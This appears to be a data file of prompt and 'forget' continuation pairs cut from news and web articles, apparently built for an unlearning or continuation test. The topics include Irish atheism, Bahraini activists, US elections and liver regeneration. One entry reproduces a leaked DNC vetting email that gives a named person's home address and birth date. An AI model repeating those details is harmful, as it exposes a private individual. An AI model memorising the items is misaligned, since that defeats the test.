occurred Sept. 12 when 59-year-old Bruce Cofield, who was homeless, was shot to death. The second happened last Thursday night when 49-year-old Donald Smart was gunned down while walking to his job as a dishwasher at a cafe popular with Louisiana State University students. The attacks"}
{"prompt": "The \u2018non-religious\u2019 are the largest group in the State after Catholics, according to the last census. They range from active atheists lobbying for a secular Ireland to guilty non-believers who still observe religious rituals, writes R\u00d3IS\u00cdN INGLE A FEW WEEKS ago Brian Whiteside of the Humanist Association of Ireland addressed a gathering that included Taoiseach Enda Kenny, Minister for Justice Alan Shatter as well as various religious leaders. He used the opportunity to raise the issue of our religious presidential oath, which he says is just one example of State discrimination against the growing godless community. The oath, the wording", "forget": "of which is enshrined in the Constitution, is taken in \u201cthe presence of Almighty God\u201d and is a non-negotiable promise that must be given by whoever is elected president. It concludes, \u201cMay God direct and sustain me.\u201d \u201cI talked about how embarrassing it would be for this country if a successful candidate decided that in all conscience they couldn\u2019t give that oath because they didn\u2019t believe in God,\u201d says Whiteside. He was gratified to observe Kenny requesting that Shatter make a note of this potentially awkward eventuality. It\u2019s a possibility worth reflecting on, given that there is more chance of a non-believer being elected president now than any other time in the history of the State. In the 2006 census, more than 186,000 people ticked the No Religion box, an increase of 34.6 per cent on 2002. That makes it is the second-largest census grouping after Roman Catholic. There are more agnostics, humanists, atheists and non-religious in Ireland than there are Church of Ireland members, Presbyterians, Orthodox Christians and Methodists combined. A further 70,000 opted not to answer the religion question. Coming in the wake of the Murphy and Ryan reports, the 2011 census results are expected to record a further increase in this disparate but essentially non-religious group. This weekend in Dublin about 350 atheists have gathered for the first World Atheist Convention to be held in this country. Speakers include the prolific British professor Richard Dawkins and the chairman of Atheist Ireland, Michael Nugent. \u201cTwenty years ago the atheist campaign would have been around trying to change public opinion, and now it is much more about getting politicians and institutions of the State to recognise that public opinion has changed,\u201d says Nugent. While some people who wear their atheism on their sleeves still risk clashing with more religious"}
{"prompt": "Targeted/their houses were stormed /escaped arrest/ most are in hide (Updated 06 April 2011) As compiled by Bahrain Youth Society for Human Rights and Bahrain Center for Human Rights 1 Sayed-Yousef Al-Mahafdha Active member of the Bahrain Centre for Human Rights (BCHR), House was stormed early morning 20 March. 2 Nabeel Rajab President of the Bahrain Centre for Human Rights and vice Secretary General of the International Federation for Human Rights (FIDH), Arrested briefly and beaten on 20 March. Banned from travel to Geneva to attend a human rights meeting his communications is cut. He was harassed again on 30", "forget": "March while interviewed by CNN crew at his house. 3 Mohammed Al-Masqati President of the Bahrain Youth Human Rights Society (BYHRS), His photo, address and phone number was published on the internet with a message that he should be killed. 4 Abdulhdi Alkhawaja Former president of the Bahrain Centre for Human Rights (BCHR), His photo, address and phone number was published on the internet with a message that he should be killed. 5 Naji Fateel Board member of the Bahrain Youth Human Rights Society (BYHRS), His photo, address and phone number was published on the internet with a message that he should be killed. 6 Salman Naji Member of the Committee for the Unemployed. Was detained in August 2010 and recently released. House stormed early morning 28 March. His brothers, Ali and Hussain were beaten. 7 Abdul Gani Khanjer Head of the Committee of the Victims of Torture. Was detained in August 2010 and recently released. House was stormed 8 Abdul Amir Al Aradi Activist. Was detained in August 2010 and recently released. House was stormed 09 Hisham AlSabbagh Active member of the Islamic Action Society (AMAL), House was stormed 10 Fahmi Bakalwa board member of Islamic Action Society (AMAL), House was stormed 11 Hussain Omran Activist. Was detained in August 2010 and recently released. House was stormed 12 Ali Abdul Imam Prominent blogger. Was detained in August 2010 and recently released. House was stormed 13 Dr. Mohammed Saeed Member of the Bahrain Centre for Human Rights (BCHR). Was detained in August 2010 and recently released. House was stormed 14 Ahmed Jawad Al-Fardan Was detained in August 2010 and recently released. House was stormed 15 Ali Jawad Al-Fardan Was detained in August 2010 and recently released. House was stormed 16 Mohammed Ali Al-Mahfoudh Cleric. Secretary General, Islamic Action Society (AMAL)"}
{"prompt": "But as pretty much any Democrat will tell you (if mostly sotto voce), the party is nowhere near ready to take on Trump. And even some of this week\u2019s more prominent protests illuminate the challenge that lies ahead. Take the Women\u2019s March on Washington, by far the buzziest of the gatherings. Set for Donald Trump\u2019s first full day in office, the Saturday event is expected to draw upwards of 160,000 participants from across the country. An outgrowth of post-election Facebook venting by disappointed Hillary supporters, the march has garnered scads of attention. People are charmed by its organic, grassroots origins,", "forget": "and, following complaints that its initial organizers were all white chicks, the event has assumed an aggressively inclusive flavor. It is, in fact, not a rally for traditional women\u2019s rights (reproductive freedom, equal pay, protection against sexual harassment, and so on) but rather a show of support for the rights of all potentially oppressed groups: racial minorities, immigrants, Muslims, Jews, the LGBTQ community, indigenous peoples, the disabled, and, yes, women. The march\u2019s home page trumpets: We support the advocacy and resistance movements that reflect our multiple and intersecting identities. We call on all defenders of human rights to join us. This march is the first step towards unifying our communities, grounded in new relationships, to create change from the grassroots level up. The overarching goal: to \u201csend a bold message to our new government on their first day in office, and to the world that women's rights are human rights.\u201d Does this soaring, all-encompassing mission give the march broad appeal? Absolutely. But in standing for everything\u2014and thus nothing in particular\u2014the gathering also lacks political focus. It isn\u2019t a push for change so much as a cri de coeur by anti-Trumpers who want everyone to know that they reject the thuggish, bigoted demagoguery of their new president. Even people who cheer the event acknowledge that it\u2019s basically a chance for those appalled by Trumpism to meet up for a big group hug. Not that there\u2019s anything wrong with that. With a little luck and some targeted follow-up, the march could ultimately spur more women to get involved in the political process and even run for office. (This is clearly what EMILY\u2019s List hopes. The women-focused PAC has joined with a handful of other progressive groups to conduct candidate-training sessions for 500 gals that weekend.) But as for the gathering itself, noted"}
{"prompt": "When the Charlotte Hornets selected Malik Monk with the 11th overall pick in the 2017 NBA draft, there were some undoubtedly high expectations by fans and scouts. Many expected Monk to be able to step in almost immediately and be not only a solid role player but an above average starter as well. Let's rewind to that day. I covered draft night for At The Hive, and remember how excited many were about this big-name prospect. There were about seven or eight guards that were very highly touted of in the NBA draft, and all were all projected to go", "forget": "in the top ten. Charlotte, of course, had the 11th pick, making it unlikely to come away with one of these prospects. However, when Sacramento traded the 10th overall pick to the Portland Trail Blazers, most watching the draft knew that Charlotte would have an opportunity to select the high-firepower guard from Kentucky. Then, it happened. Rich Cho and Michael Jordan selected the nineteen-year-old, from the Kentucky Wildcats over the likes of Donovan Mitchell, Luke Kennard, and Bam Adebayo. In fact, in a poll that was run among Hornets fans before the draft (where 227 total votes were tallied), 27 percent of fans agreed the Hornets should trade up for Monk, while 70 percent agreed that Charlotte should take him if available. In fact, only three percent of Hornets fans would have picked another player over Monk (seven total votes). It was a pick out of the ordinary. It wasn\u2019t a \u2018Charlotte\u2019 pick. It shattered the stereotypes of the Hornets always picking big, white, unathletic centers. Monk, when asked to describe his own game in one word, said, \u201cElectric\u201d. As you can tell by his own response, this is not the typical Charlotte first round pick. When you think of a Hornets\u2019 draft pick (before the 2017 NBA Draft), your thought probably floats around three ideas. A lengthy defensive guard, a grit-and-grind wing, or a defensive center. Malik Monk fits into none of the above. However, disappointment struck after Monk missed Orlando Summer League with an ankle injury sustained in a pre-draft workout. Recovery took longer than expected, but Monk eventually made his debut in the preseason. He performed well, averaging 16 points, three rebounds, and two assists, managing to only turn the ball over once per game, and more importantly, remaining healthy. As if the expectations were not already"}
{"prompt": "One of the strangest sentences in American law comes from Justice Lewis F. Powell, Jr. \u201cUnder the First Amendment,\u201d he wrote, in 1974, \u201cthere is no such thing as a false idea.\u201d That is not a decree that the world brims with truth. He meant that we rely on the marketplace of ideas, rather than on judges and juries, to sort out truth from falsehood\u2014and to continually check our understanding of the truth. The Justice was restating the central tenet embraced in New York Times v. Sullivan, in 1964, the Supreme Court\u2019s most important decision about freedom of speech and", "forget": "of the press. The Court extended the scope of the First Amendment to libel law and held that, even if a citizen stated or a newspaper published criticism about a public official that was incorrect, that mistake could be punished as libel only if the critic knew or suspected that the criticism was false. In 1967, the Court applied this rule to public figures as well. The premise of the marketplace applies broadly, not just to libel law. The First Amendment protects a lot of harmful speech, including much that is incendiary, offensive, and untrue. That protection covers President Trump, even if he does not believe the torrent of falsehoods he has uttered. Experts on crowd size estimate that his Inauguration attracted a crowd of about a hundred and fifty thousand, but Trump is free to say that there were as many as a million and a half people there. Public officials who oversaw the 2016 election reported that there were scant numbers of votes cast illegally\u2014virtually none compared to the more than 137.7 million ballots cast in total\u2014but Trump can claim that, had it not been for massive voter fraud, he would have won the popular vote, which Hillary Clinton won by 2.9 million votes, or 2.1 per cent of the total. Justice Oliver Wendell Holmes introduced this concept into American law almost a century ago, writing that \u201cthe best test of truth is the power of the thought to get itself accepted in the competition of the market.\u201d That includes Trump\u2019s views that journalists are \u201camong the most dishonest human beings on Earth\u201d and \u201cthe enemy of the American people,\u201d and that the federal appeals-court ruling that struck down his first travel ban, a month ago, jeopardized the security of the country. A wide body of scholarship has"}
{"prompt": "Former secretary of state Hillary Clinton meets voters at a campaign rally in St. Louis on Saturday. (Melina Mara/The Washington Post) Democratic front-runner Hillary Clinton was ahead by a slim margin in Missouri on Wednesday, but the race remained in limbo pending word on whether rival Sen. Bernie Sanders of Vermont would seek a recount. The delay postponed a definitive answer to whether Clinton had made a clean sweep of five big primaries on Tuesday night. Even if she does not prevail in Missouri, her other victories push her closer to the Democratic presidential nomination even as the considerably weakened", "forget": "Sanders vowed to press on with his insurgent campaign. Clinton won big in Florida, North Carolina and Ohio, while claiming a narrower victory in Illinois. In Missouri, with 100 percent of precincts reporting, Clinton was ahead 310,602 votes to 309,071. With a difference of less than 1 percent, state officials held off calling the race. A recount is not automatic, but Sanders could request one. Democratic front-runner Hillary Clinton and her rival, Bernie Sanders, spoke about the challenges going forward after primary voters took to the polls in five states on March 15. (Sarah Parnass/The Washington Post) Jeff Weaver, Sanders\u2019s campaign manager, said the campaign has not made a final decision on whether to request a recount and is still looking at the numbers. Because delegates are awarded proportionately, it\u2019s not clear how much a small change in the vote totals would matter, he said. \u201cIf it\u2019s not going to make a material difference in the delegate count, we\u2019re not going to put people through it,\u201d he said. [A good night for Trump and a better night for Clinton] Clinton campaign manager Robby Mook issued a memo to supporters and the media Wednesday that claimed a decisive advantage. He also took Sanders to task for turning negative. \"Both campaigns agreed that the measure of success for yesterday's pivotal contests was delegates,\" Mook wrote. \"Sanders went all out in these 5 states, pouring more than $8 million on TV in the last 5 days alone,\" including at least one ad Mook termed negative. \"It's pretty clear this negative strategy backfired,\" he wrote. Addressing supporters Tuesday night, Sanders did not mention the night's outcome, a disappointment for him after hopes that he could ride momentum from an upset victory in Michigan last week to victories in other large, delegate-rich states in the"}
{"prompt": "P30 billion out of the proposed P36 billion for technical-vocational labs for Grade 11 and 12 students will be realigned to fund the free tuition law next year Published 1:35 PM, September 27, 2017 MANILA, Philippines \u2013 Grade 11 and 12 students under the technical-vocational track will be at a disadvantage following the realignment of P30 billion of the proposed 2018 budget of the Department of Education (DepEd) to fund the free tuition law. This is because around 20,000 technical-vocational laboratories set to be built in 2018 will no longer have funding due to the budget cut, DepEd Undersecretary Annalyn", "forget": "Sevilla told Rappler. \"Kasi P36 billion ang budget for tech-voc labs in the proposal. So if they get P30 billion, matitira lang ay P6 billion... Magkukulang kami ng labs for that,\" Sevilla said. (The budget for tech-voc labs in the proposal is at P36 billion. So if they get P30 billion, only P6 billion will be left... We will not have enough to build the labs.) The DepEd initially proposed P612.117 billion for its budget for next year, the highest among all government agencies. But the House of Representatives realigned P30 billion of the DepEd's budget to the Commission on Higher Education (CHED) to help fund Republic Act No. 10931 or the Universal Access to Quality Tertiary Education Act. Lawmakers are finding ways to fund the free tuition law, which needs P51 billion in its first year of implementation alone. CHED did not include funds for the law's implementation in its 2018 proposed budget because President Rodrigo Duterte was not expected to sign the measure into law. \"The wisdom of Congress is that we have the voucher program of tech-voc, which means we have to shift from DepEd providing the laboratory services to a private institution providing it instead,\" said Sevilla. The DepEd official, however, said they will be holding several meetings with lawmakers in the next weeks to lessen the budget cut's impact on the technical-vocational strand under the Kindergarten to Grade 12 (K to 12) program. \"We are working with Congress if it would be possible that not entirely the P30 billion will be from the tech-voc labs. Maybe we can look into other programs,\" said Sevilla. In a separate press conference, CHED Chairperson Patricia Licuanan urged legislators to also consider other ways of funding the free tuition law without further burdening students. \"Congress has to proceed very"}
{"prompt": "I know this is not everyone\u2019s dish of tea William Weld, former Massachusetts governor, uttered this one on MSNBC\u2019s Morning Joe, when he introduced the topic of climate change. This is a mashup of \u201cnot one\u2019s cup of tea\u201d (not one\u2019s preference) and maybe \u201cdish it out\u201d (to dispense something, often verbally)? Or was the speaker just thinking of \u201ccup and saucer\u201d and got the two confused? No one knows except Mr. Weld, and perhaps he doesn\u2019t either. On that note, I think I\u2019ll have a \u201cdisha\u201d. A big thanks to two people who heard this one and sent it", "forget": "in almost simultaneously: David Stephens and Donna Calvert. Thanks David and Donna! Advertisements They would jump on a bullet for him This was uttered when discussing the blind loyalty of Trump supporters. It is a congruent conflation of \u201ctake a bullet for (someone)\u201d and \u201cfalling (or jumping) on a grenade for (someone)\u201d, both meaning to accept a personally harmful or sacrificial task to protect someone else. Jumping on a bullet doesn\u2019t seem like a great sacrifice to me, so perhaps this speaker was not such a loyal follower. A big thanks to John Kooser for hearing this one. The Manafort situation throws the whole incentive system on its head Columbia Law School professor Berit Berger uttered this one on the MSNBC show \u201cThe 11th Hour with Brian Williams\u201d. She was discussing the pardon system and the Manafort case. This is a mashup of \u201cturn (something) on its head\u201d (to alter something in an unexpected way) and \u201cthrow it out the window\u201d (forgotten, disregarded). \u201cTurning\u201d and \u201cthrowing\u201d seems to have caused the mixup here. A big thanks to Frank King for hearing this one. Is it \u201cDefend On Your Own\u201d night? The contributor says her husband says this when she doesn\u2019t feel like cooking for dinner. The malaphor prompts a visual of the family opening the refrigerator and fighting for the best leftovers. This is a mashup of \u201cstand on one\u2019s (own) two feet\u201d (act independently) and \u201cfend for (oneself)\u201d (take care of oneself without the assistance of others). I suppose the speaker was thinking of the word \u201cfend\u201d but uttered \u201cdefend\u201d instead. A tip of the hat to Lori Snider for sending this one in! My hackles were ruffled This was overheard at a nearby table at breakfast. This is a brilliant congruent conflation of \u201cruffle (ones\u2019) feathers\u201d and \u201craise"}
{"prompt": "DIY Funerals: Rite at Home is a five-part radio series exploring home funerals. The series ran from July 4 to July 8 on CBC Radio One's afternoon shows in B.C. Taking care of dead loved ones at home can be an affordable and intimate alternative to paying a funeral provider and for those interested in doing so, there are important things to know before undertaking such a task. Home funerals can be done safely and legally in British Columbia if the proper steps are followed. This includes filing the proper paperwork, gathering practical supplies, and adhering to the Cremation, Interment", "forget": "and Funeral Services Act. Navigating the paperwork Some people hire a death doula, someone who specializes in home funerals, to help them navigate the paperwork. If a home death is expected, a physician can prepare a notification of expected death in the home form. This allows the family to have time with their deceased loved one without immediately contacting a physician to pronounce death. Ngaio Davis, owner of Classical Cremations, in her Vancouver office where she assists clients with custom funeral preparations, including for home funerals. (Bridgette Watson/CBC) The death will need to be registered with The British Columbia Vital Statistics Agency, where a disposition permit will be issued to confirm where the body will be buried, or cremated. If a funeral home is not moving the body, then a private transport permit must be applied for through Consumer Protection BC. Without this form, transporting a body violates the Funeral Services Act. A death doula can also teach people how to care for a dead body. They are not registered funeral providers and cannot be paid to wash a body, but they can provide instruction and support. You can never have too much ice Dead bodies need to be kept cool. It is essential to have ice packs on hand to place around the vital organs of a person after they pass. Pashta MaryMoon is a death doula who helps families prepare for home funerals. She said people need to be prepared for the effects of rigor mortis. \"You often see in movies somebody dies and their eyes are open and then they just pass their hands over top of the eyelids and they shut,\" said MaryMoon, who explained this is not normally the case in real life. MaryMoon's DIY tips include using sandwich bags of rice to weigh down"}
{"prompt": "Eric Holder named to lead effort to destroy GOP after Hillary wins the presidency This election is for keeps: plans are being implemented, with President Obama already signed on, staff hired, and money being raised. Perhaps lulled into complacency by the MSM polls, the Democrats have already constructed and staffed their strategy to permanently disable the Republican Party. Eric Holder is the perfect henchman, a man above nothing in his quest for political dominance, unbound by old-fashioned concepts of justice. The GOP will remain in existence as the token opposition, useful for legitimizing the actual one-party regime, the essential element", "forget": "of the election rituals reminding us of the Republic we once enjoyed. Edward Isaac-Dovere of Politico has the scoop: As Democrats aim to capitalize on this year\u2019s Republican turmoil and start building back their own decimated bench, former Attorney General Eric Holder will chair a new umbrella group focused on redistricting reform\u2014with the aim of taking on the gerrymandering that\u2019s left the party behind in statehouses and made winning a House majority far more difficult. The new group, called the National Democratic Redistricting Committee, was developed in close consultation with the White House. President Barack Obama himself has now identified the group\u2014which will coordinate campaign strategy, direct fundraising, organize ballot initiatives and put together legal challenges to state redistricting maps\u2014as the main focus of his political activity once he leaves office. The group is moving forward in a systematic way, assembling talent and money: Though initial plans to be active in this year\u2019s elections fell short, the group has been incorporated as a 527, with Democratic Governors Association executive director Elizabeth Pearson as its president and House Majority PAC executive director Ali Lapp as its vice president. They\u2019ve been pitching donors and aiming to put together its first phase action plan for December, moving first in the Virginia and New Jersey state elections next year and with an eye toward coordination across gubernatorial, state legislative and House races going into the 2018 midterms. Redistricting, aka Gerrymandering (depending on the eye of the beholder), is now a science, thanks to the data-mining capabilities of all the Silicon Valley Big Money corporatist allies of the Democrats. Assembling masses of data from Google, Facebook, and others, they can put together districts micro-targeted with just enough Democrats to win and shove the GOP voters into 90% majority districts, shut out forever from control of"}
{"prompt": "RE: Host for POTUS in Miami From:ReedA@dnc.org To: SnowdenK@dnc.org, Bobby_Schmuck@who.eop.gov, MARSHALL@dnc.org, ReynoldsL@dnc.org, DaceyA@dnc.org CC: RivardC@dnc.org, MarquezK@dnc.org, KaplanJ@dnc.org, CoxC@dnc.org Date: 2016-05-12 13:59 Subject: RE: Host for POTUS in Miami I lean no to hosting but could be ok with attending. He was vetted and passed to host an event on Feb. but I think that was for the event that were cancelled. Coincidentally, it was the same day the article came out. Bobby, Brad? Hello everyone, We were also asked to vet the following for POTUS hosting. The only issue is Roy Black. New issues have come up since his last", "forget": "vet in February 2016. Thanks, Kevin Roy Black- NEW 2016: Black defended Jeffrey Epstein, who was prosecuted this year for multiple charges of sexual abuse against at least 34 underage girls between 1999 and 2007. 2015: Represent Justin Bieber after his 2014 DUI charge; Wild reputation, has defended unsavory characters (Rush Limbaugh, Girls Gone Wild founder Joe Francis), parties with flagged celebrities, accused of ethical violations by former US Attorney; Represented Alex Rodriguez in 2013 steroid case; unable to locate why he was let go by A-Rod 832 S Greenway Drive Coral Gables, FL 33134 DOB: 2/1945 EMPLOYER/OCCUPATION: Self/Attorney NOTES: Co-hosted a February 2007 Obama fundraiser at his home with wife Lea Black. * See Below NGP VET HISTORY: * 2/12/2016; Passed 6OK; POTUS host * 5/14/2015; Passed 6OK; Revisiting for POTUS * 5/14/2015; Issue 6OK; ok per WH * 1/15/2014 - Issue 6OK; revisit for POTUS * 2/13/2012 - Issue 6OK; OK per VC for FL045, revisit for POTUS * 2/13/2012 - Issue 6OK; Bad News * 10/20/2008 - Pass 3OK CONTRIBUTIONS: Yes FREDERICA S. WILSON FOR CONGRESS 6/10/2011 $250 FRIENDS OF PATRICK MURPHY 3/31/2011 $2,500 KENDRICK MEEK FOR FLORIDA INC 10/6/2010 $1,000 KENDRICK MEEK FOR FLORIDA INC 3/17/2009 $2,300 JOE GARCIA FOR CONGRESS 9/29/2008 $1,000 JOHN MCCAIN 2008 INC. 8/12/2008 $1,000 UDALL FOR US ALL 4/1/2008 $500 TADDEO FOR CONGRESS 3/31/2008 $500 JOE GARCIA FOR CONGRESS 3/25/2008 $1,000 CONYERS FOR CONGRESS 11/29/2007 $450 BIDEN FOR PRESIDENT, INC. 9/17/2007 $500 JOHN EDWARDS FOR PRESIDENT 6/22/2007 $500 LAUTENBERG FOR SENATE 5/2/2007 $250 OBAMA FOR AMERICA 4/25/2007 $2,300 RICHARDSON FOR PRESIDENT INC. 1/23/2007 $500 EVENTS: None LOBBYIST/DOJ FARA: None EARMARKS/TARP/ARRA: None LIENS: None JUDGMENTS: None BANKRUPTCIES: None CRIMINAL RECORDS: None LEXIS-NEXIS/INTERNET SEARCH: Yes NEW 2016: * Fred Grimm: Billionaire sex offender from Palm Beach enjoys a special kind of justice. Prosecutors"}
{"prompt": "Liver regeneration is the process by which the liver is able to replace lost liver tissue from growth from the remaining tissue. The liver is the only visceral organ that possesses the capacity to regenerate.[1][2] The liver can regenerate after either surgical removal or after chemical injury.[3] It is known that as little as 25% of the original liver mass can regenerate back to its full size.[2][4] The process of regeneration in mammals is mainly compensatory growth because only the mass of the liver is replaced, not the shape.[5] However, in lower species such as fish, both liver size and", "forget": "shape can be replaced.[6] Mechanism [ edit ] Liver regeneration involves replication of the liver cells, mainly hepatocytes, followed by other cells such as biliary epithelial cells and sinusoidal endothelial cells. Once cell proliferation is completed, the newly divided cells undergo restructuring, angiogenesis and reformation of extracellular matrix to complete the regeneration process.[2] In most cases, liver function is only partially affected during liver regeneration. Whereas certain specialized functions such as drug metabolism decrease, many other primary functions such as albumin and bile production are not substantially affected.[1] Liver regeneration is a highly controlled process regulated by a complex network on highly redundant signals. Several signaling pathways are known to stimulate regeneration in the liver including cytokines, growth factors, hormones, and nuclear receptors.[1] Discovered and studying in vivo some natural multicomponent liver regeneration substances \u2013 hepatic stimulator substance,[7] hepatic regeneration set,[8] augmenter of liver regeneration.[9] Function [ edit ] The ability for the liver to regenerate is central to liver homeostasis. Because the liver is the main site of drug detoxification, it is exposed to many chemicals in the body which may potentially induce cell death and injury. The liver can regenerate damaged tissue rapidly thereby preventing its own failure. However, a predictor of the true speed of liver regeneration depends on whether Interleukin 6 has overexpression[10]. Liver regeneration is also critical for patients of liver diseases where the partial removal of the liver due to fibrosis or tumor is a common therapy that utilizes the ability of the remaining liver to generate back.[citation needed] Experimental models [ edit ] Two main types of models are used to study liver regeneration, including surgical removal, also referred to as partial hepatectomy (PHX), and chemical-induced liver damage. Whereas the mechanisms and kinetics of liver regeneration in these two models are different, many"}
{"prompt": "Async IO for Rust (part II) PaulColomiets Blocked Unblock Follow Following Nov 12, 2015 This is a second article about designing \u201crotor\u201d, the library for doing asynchronous IO in Rust. This part describes what changed since the previous article as well as expands on discussion points of the previous write-up. State Machines Are Good Enough One of the hottest topics in the discussion of the previous article was whether threads are the better abstraction for I/O. And if OS threads are not good enough some kind of green threading should be introduced. There are two such libraries being developed: mioco", "forget": "and simplesched (both of them do not work in stable rust yet). Still I don\u2019t believe it\u2019s a good fit for low-level protocol handling. This section looks at issues with the threading model for handling I/O in Rust. You may skip the section if you are more interested in Rotor rather than design decisions. Memory ownership Typical request processing code looks like: It looks nothing wrong at a glance. No memory leaks here. But note that both \u201cbuf\u201d and \u201cparsed\u201d are still being allocated while the response is being sent. But they are useless at that point in time. Is it easy to fix? Yes, just pass them by value, or wrap code block in braces. Is it easy to find? No. The code is too simplistic to show you the complexity. But compare it to the state machine: It\u2019s easy to reason about memory usage in this case. Also, note that nothing is allocated for idle connection at all (except obviously the state machine itself). 2. Timeout handling Timeout handling is inevitable in any networking code. In most languages with green threading timeouts are simple: spawn another micro thread that sleeps and throws an exception to parent. If parent finished earlier, kill timer thread. But Rust doesn\u2019t have exceptions. An example of timeout handling in go should show you the complexity. To give you the short breakdown: it adds a timer with a callback, which finds current \u201ccancel callback\u201d in a map, which in turn closes an underlying connection. The process involves at least 3 shared locked objects, and may involve sending a message through a channel. A cancel callbacks are changed during the lifetime of the request several times and special channels just for cancel operation are created in multiple places (if it\u2019s not clear: that happens on"}
{"prompt": "Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation\u2019s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week. Thank you for signing up. For more from The Nation, check out our latest issue Subscribe now for as little as $2 a month! Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues", "forget": "that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. Fight Back! Sign up for Take Action Now and we\u2019ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation\u2019s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we\u2019ll send you three meaningful actions you can take each week. Thank you for signing up. For more from The Nation, check out our latest issue Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine? A few years ago, when I was still teaching at Yale, I was approached by a student who was interested in going to graduate school. She had her eye on Columbia; did I know someone there she could talk with? I did, an old professor of mine. But when I wrote to arrange the introduction, he refused to even meet with her. \u201cI won\u2019t talk to students about graduate school anymore,\u201d he explained. \u201cGoing to grad school\u2019s a suicide mission.\u201d Ad Policy The policy may be extreme, but the feeling is universal. Most professors I know are willing to talk with students about pursuing a PhD, but their advice comes down to three words: don\u2019t do it. (William Pannapacker, writing in the Chronicle of Higher Education as Thomas Benton, has been making this argument for years. See \u201cThe Big Lie About the \u2018Life of the Mind,\u2019\u201d among other essays.) My"}
{"prompt": "From Republican presidential candidates to hard-core Corbyn supporters , we\u2019re used to hearing extreme views from all over the political spectrum and beyond. Why? As a British person with liberal leanings, the ongoing coverage of the US Republican race to select a presidential candidate is often baffling. Much of this is due to Donald Trump, of course. Donald Trump, the ungodly offspring of a retired golfer and a beligerent tangerine. Donald Trump, a man who once heard the word \u201cunspeakable\u201d and thought \u201cchallenge accepted!\u201d Just when you think he couldn\u2019t possibly be more openly offensive towards large groups of people,", "forget": "he reliably proves you wrong a few days later. Despite this, it seems a large number of people still think he\u2019s the best person to be President, where he can bring about nuclear Armageddon by openly mocking Vladimir Putin\u2019s height at some international summit. Or is it because of these deeply controversial statements that Trump is doing so well? He\u2019s hardly alone in adopting extreme and controversial positions in an effort to secure the presidential candidate nomination. This isn\u2019t to suggest we in the UK are above such behaviour. Far from it. While the mainstream media is constantly (and tediously) focusing on the divisions in the Labour party, you can\u2019t miss constant complaints about \u201cCorbynites\u201d, supposedly dedicated followers of Jeremy Corbyn who aggressively defend him and tell you to join the bloody Conservatives if you express any views that are less left wing than those of Lenin himself. It\u2019s not just politics either; from lefties to libertarians, gamers to gay rights activism, feminism to fandom, if you publicly share an opinion on an issue that many people care about enough to form groups around, you\u2019re bound to get flak from the more \u201cextreme\u201d elements of said groups. Why, though? Why do groups of otherwise normal people regularly end up producing an enraged fringe element with a hair trigger? If you have a group of friends who like to socialise together and it transpires that one member of the group has a habit of screaming abuse at strangers and picking fights on everyone else\u2019s behalf, said person won\u2019t be invited to the pub as much from then on. But surprisingly, this doesn\u2019t often happen with large, organised groups. Evidence suggests they tend to make people more extreme than if those people were left to think issues through themselves. This phenomenon is"}
{"prompt": "Innovation is a mindset \u2014 not just something you do once or twice a week \u2014 and Hollywood\u2019s media companies have done a pretty poor job of it, a panel of New Media experts said in the final panel at TheGrill, TheWrap\u2019s fourth annual Media Leadership Conference on Tuesday. Los Angeles-based legacy companies have been slow to adopt the Silicon Valley way, said Rich Raddon, co-founder of Venice-based Zefr, which helps content owners and brands manage their business on YouTube. \u201cNot a lot of that culture has really rubbed off on SoCal media companies,\u201d said Raddon, a former producer (\u201cA", "forget": "Slipping Down Life\u201d) and director of the Los Angeles Film Festival from 2000 to 2009. \u201cI just found a strong affinity to how people were building business up there.\u201d Also read: TheGrill: Online-Video-Giant Maker\u2019s Chief \u2013 We\u2019ll Be the Next Viacom (Video) The panel, titled \u201cInnovators panel: Meet the Folks We\u2019ll All Be Working For in 10 Years,\u201d also included Tumblr\u2019sDavid Hayes and Lowercase Capital partner Matt Mazzeo. It was moderated by TheWrap\u2019s Lucas Shaw. Raddon relayed the story of a major film studio that hosted a weekly \u201cinnovation group\u201d \u2013 which was managed by, of all things, the company\u2019s human-resources department. (At right: Hayes, Mazzeo and Raddon) \u201cIt\u2019s hilarious,\u201d he said. \u201cInnovation is a mindset, not just a word.\u201d But there\u2019s good news: A whole lot of companies who do get it are sprouting up all over town. \u201cThis city is seeing this massive growth and explosion in tech companies,\u201d said Mazzeo, whose Lowercase Capital advises and invests in companies at the junction of tech and media. \u201cA lot of this is happening in mobile. It couldn\u2019t be a more exciting time to be playing in both worlds right now.\u201d Also read: TheGrill: Market-Research Leader Bruzzese \u2013 Our Industry Is Broken (Video) And there\u2019s no bigger nexus point than YouTube \u2014 another thing the panelists don\u2019t think Hollywood is getting its head around. \u201cThis town has a misperception about what\u2019s happened with YouTube, which just keeps going up and up,\u201d said Raddon, citing its staggering growth toward 1 billion unique users per month. The reason many traditionalists turn their nose up at YouTube, he said, is that it\u2019s still not easy to monetize there \u2014 especially the platform\u2019s wicked-fast growing overseas users. \u201cBut you gotta have some vision here,\u201d he said. \u201cIn the early days of cable, the big"}
{"prompt": "The Labour lie about food banks \u2013 that their growth has been due to the callousness of the coalition government \u2013 is simple and has become familiar by the amount of airtime the BBC has given it over the past four years. Countering that message has been hard as the truth, as so often, is more complicated. Anyone who has visited a food bank will have understood that most people who use them are coping with a short terms crisis. Delays in receiving benefits are a huge cause of difficulties. Chris Mould, the Executive Director of the Trussell Trust has", "forget": "estimated that 44 per cent of food bank visits are due to delays of one kind or another. This morning on this site, the Conservative MP John Glen, a member of the All Party Parliamentary Group (APPG) for Hunger and Food Poverty, noted the Government has made progress in ensuring benefits are paid on time. The DWP can point to significant improvements: 92 per cent of claims are now processed on time (up from 86 per cent in 2009/10). That is an important achievement for which Iain Duncan Smith deserves credit. But it is inherent in the system that there will be bureaucracy, inefficiency and inflexibility. That is why the APPG\u2019s Feeding Britain report about the huge challenge remaining is important. So if fewer people are experiencing benefit delays are there other factors that still mean an increase in the number going hungry? Not according to polling for the OECD. That suggests the figure has fallen in the UK while the OECD average has increased. Thus we are left with the conclusion that the growth in food banks does not mean more people need help. It means that more of those who need help are getting help. Seldom do we hear Labour asked to apologise for their decision in 2008 \u2013 maintained by Yvette Cooper when she was Work and Pensions Secretary the following year \u2013 of banning Job Centres from referring claimants to 